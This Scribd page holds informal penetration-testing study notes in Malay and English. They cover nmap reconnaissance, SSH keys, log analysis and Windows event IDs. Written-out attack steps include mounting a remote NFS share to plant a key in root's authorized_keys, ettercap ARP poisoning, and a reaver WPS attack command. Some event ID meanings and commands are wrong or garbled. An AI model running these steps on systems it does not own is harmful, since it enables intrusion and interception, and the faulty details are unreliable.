Scribd
Upload
7 views4 pages

Linux Network Scanning Techniques

This document provides an overview of commands and tools used in penetration testing and hacking. It discusses Linux directory structures and user privileges, networking commands like ping and nmap, vulnerability scanning tools like Nessus, methods for accessing remote systems like SSH key generation, wireless hacking tools like Reaver, and analyzing log files on Linux and Windows systems.

Uploaded by

hairudin
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
7 views4 pages

Linux Network Scanning Techniques

This document provides an overview of commands and tools used in penetration testing and hacking. It discusses Linux directory structures and user privileges, networking commands like ping and nmap, vulnerability scanning tools like Nessus, methods for accessing remote systems like SSH key generation, wireless hacking tools like Reaver, and analyzing log files on Linux and Windows systems.

Uploaded by

hairudin
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

vulnhub : [Link]

com/

C:\ = / --> root

/ -
1. bin - any program you can run
2. sbin - any program with root priviledge
3. opt - config file
4. etc - config
5. tmp - temporary data

id = 0 is the most powerfull user

clear - to clear
whoami - to check who
id - to check id

ping -c 4 [Link] --> to ping sebanyak 4 kali

*tenable nessus boleh cari vulnerabality yang ada


*openVAS

how to start:

scan the target host


identify entry point

1. nmap [Link] (to check semua open port)


2. nmap -A [Link] (nak cari all services)
3. log in as SU
4. netdiscover (tocheck ada tak computer lain dalam jaringan)
5. ipconfig
6. nmap -sP [Link]/23
7. nmap -sU [Link] -p 161
8. rpcinfo [Link] (nak tahu service ape yang tgh running, (jalan)
9. showmount -e [Link] (nak tgk folder ape yang dah share)

ssh-key
- create public and private key
#ssh-keygen
- * how to check ssh-keygen yang dah create
#cd /root/.ssh
#ls
- id_rsa (kunci) dan id_rsa.pub (mangga)
- to open key
#cat id_rsa.pub
#cat id_rsa
-create satu folder
#mkdir /tmp/hack
# mount -t nfs [Link]:/ /tmp/hack/ (to check symlink)
#df (to check either dah connected ke tak)
# cat id_rsa.pub >> /tmp/hack/root/.ssh/authorized_keys (copy public key ke server)
(tak boleh guna arahan copy or move)

sudo apt-get update


sudo apt-get upgrade
sudo apt-get install etherape
etherape
nmap -vvv -A ip address
nmap -vvv -A [Link]

arp: address resolution protocol

ettercap -G ; click button accept


cari tiga titik - scan for hosts -
MITM menu - ARP poisoning - sniff remote connection
arp -a

bettercap
- [Link] on

bettercap -C

SIEM - centralized (splunk), agent based (wazuh)


SOC - operations
SIC - intelligence
SOAR - security orchestration automation response

log dalam linux:


access log
#file [Link]
#wc -l [Link] (word count)
#head -n 2 [Link] (sample 2data dari atas)
#tail -n cut -[Link] (sample 2data dari bawah)
#cat [Link] | cut -d " " -f 1 (extract data dari field 1)
#cat [Link] | cut -d " " -f 1 | sort - (nak keluarkan cuma ip yang unik shj)
#cat [Link] | cut -d " " -f 1 | sort - >> [Link] (simpan file as
[Link])
#nl [Link] (membuat numbering)

#cat [Link] head -n 50


go to web >> [Link]

maxmind

**log dalam windows:


event viewer - security - save event as:
online: upload di [Link]

4688: malware
4670: unauthorized access
4672: admin authorization
1006 & 1007 : event yang ada connection to antivirus

** to download sample log


[Link]
%20Access/4794_DSRM_password_change_t1098.evtx

** type of attack
[Link]
WIRELESS: 802.11 a/b/g/n/ac/6/7
-WPS pin
- reaver in kali linux (reaver -i wlan0mon -b 00:90:4C:C1:AC:21 -vv)

[Link] ([Link]
- WiFI pineapple

[Link]
[Link] ( to identify signal strength)
[Link]

You might also like